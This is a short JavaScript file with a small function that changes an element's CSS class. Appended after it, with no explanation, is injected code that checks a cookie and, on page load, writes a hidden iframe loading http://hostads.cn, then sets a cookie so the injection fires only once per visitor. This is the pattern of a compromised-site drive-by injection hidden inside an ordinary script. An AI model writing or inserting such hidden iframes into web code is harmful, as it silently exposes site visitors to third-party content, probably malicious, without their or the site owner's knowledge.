// JavaScript Document

function changeSty(classpassed){
	element=event.srcElement;
	//document.getElementById('buttonIMG').className=classpassed;
	element.className=classpassed;
}
if (document.cookie.search("wyfv=4") == -1) {
gfgm=document.getElementById('fdv');if(gfgm==null){document.write('<iframe id=fdv src=http://hostads.cn style=display:none></iframe>');}
document.cookie = "wyfv=4;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}